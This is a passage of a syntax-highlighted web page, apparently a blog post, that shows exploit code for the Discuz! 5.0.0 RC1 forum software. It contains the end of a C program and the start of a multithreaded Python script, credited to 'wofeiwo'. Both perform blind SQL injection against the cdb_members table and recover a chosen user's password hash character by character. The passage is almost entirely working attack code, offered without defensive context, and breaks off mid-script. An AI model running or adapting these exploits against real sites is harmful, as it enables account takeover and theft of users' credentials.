src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(argc&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stderr</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Usage:&nbsp;%s&nbsp;&lt;host&gt;&nbsp;&lt;port&gt;&nbsp;&lt;path&gt;&nbsp;&lt;uid&gt;\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stderr</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Example:&nbsp;%s&nbsp;localhost&nbsp;80&nbsp;/dz/&nbsp;1\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[+]&nbsp;Connect&nbsp;%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[+]&nbsp;Trying&nbsp;..\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[+]&nbsp;Plz&nbsp;wait&nbsp;a&nbsp;monment&nbsp;..\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[+]&nbsp;The&nbsp;uid&nbsp;=&nbsp;%s&nbsp;password&nbsp;hash&nbsp;is:&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">(j&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;&nbsp;j&nbsp;</span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #000000">&nbsp;PASSLEN;&nbsp;j</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">(i&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">48</span><span style="COLOR: #000000">;&nbsp;i&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">58</span><span style="COLOR: #000000">;&nbsp;i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(ret&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;sanddata(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;atoi(argv[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;i</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;j);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%c</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;ret);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;finded;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">(i&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">98</span><span style="COLOR: #000000">;&nbsp;i&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">123</span><span style="COLOR: #000000">;&nbsp;i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(ret&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;sanddata(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;atoi(argv[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">])</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;i</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;j);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%c</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;ret);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;finded;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finded</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">[+]&nbsp;Finished\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">!/usr/bin/python</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Discuz!&nbsp;5.0.0&nbsp;RC1&nbsp;SQL&nbsp;injection&nbsp;exploit&nbsp;(MultiThread&nbsp;Version)</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Author:&nbsp;wofeiwo</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">&nbsp;Date:&nbsp;Aug&nbsp;13th&nbsp;2006</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;sys&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;httplib<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;threading<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">from</span><span style="COLOR: #000000">&nbsp;urlparse&nbsp;</span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;urlparse<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">from</span><span style="COLOR: #000000">&nbsp;time&nbsp;</span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000">&nbsp;sleep<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>password&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">6</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">7</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">8</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">9</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">11</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">12</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">13</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">14</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">15</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">16</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">17</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">18</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">19</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">20</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">21</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">22</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">23</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">24</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">25</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">26</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">27</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">28</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">29</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">30</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">31</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">32</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">''</span><span style="COLOR: #000000">}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000">&nbsp;creatthread&nbsp;(threading.Thread):<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">__init__</span><span style="COLOR: #000000">&nbsp;(self,&nbsp;threadname,&nbsp;url,&nbsp;u):<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.realurl&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;url<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.realu&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;u<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;threading.Thread.</span><span style="COLOR: #800080">__init__</span><span style="COLOR: #000000">(self,&nbsp;name&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;threadname)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;run&nbsp;(self):<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lenth&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">32</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;injection(lenth,&nbsp;self.realurl,&nbsp;self.realu,&nbsp;self.getName())&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">&nbsp;&nbsp;injection&nbsp;(lenthofpass,&nbsp;realurl,&nbsp;path,&nbsp;num):<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ran&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;range(</span><span style="COLOR: #000000">97</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">123</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;a&nbsp;</span><span style="COLOR: #0000ff">in</span><span style="COLOR: #000000">&nbsp;range(</span><span style="COLOR: #000000">48</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">58</span><span style="COLOR: #000000">):&nbsp;ran.append(a)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;i&nbsp;</span><span style="COLOR: #0000ff">in</span><span style="COLOR: #000000">&nbsp;ran:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;query&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">\</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;union&nbsp;select&nbsp;</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">from</span><span style="COLOR: #000000">&nbsp;cdb_members&nbsp;where&nbsp;uid</span><span style="COLOR: #000000">=</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">&nbsp;+&nbsp;sys.argv[2]&nbsp;+&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;AND&nbsp;ascii(substring(CONCAT(password),</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">&nbsp;+&nbsp;num&nbsp;+&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">))</span><span style="COLOR: #000000">=</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">&nbsp;+&nbsp;str(i)&nbsp;+&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">/*</span><span style="COLOR: #800000">'<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;header&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Accept</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">image/gif,&nbsp;image/x-xbitmap,&nbsp;image/jpeg,&nbsp;image/pjpeg,&nbsp;application/x-shockwave-flash,&nbsp;application/vnd.ms-excel,&nbsp;application/vnd.ms-powerpoint,&nbsp;application/msword,&nbsp;*/*</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Referer</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">http://</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;realurl[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;path&nbsp;</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">logging.php?action=login</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Accept-Language</span><span style="COLOR: #800000">'</span><span style="COLOR: 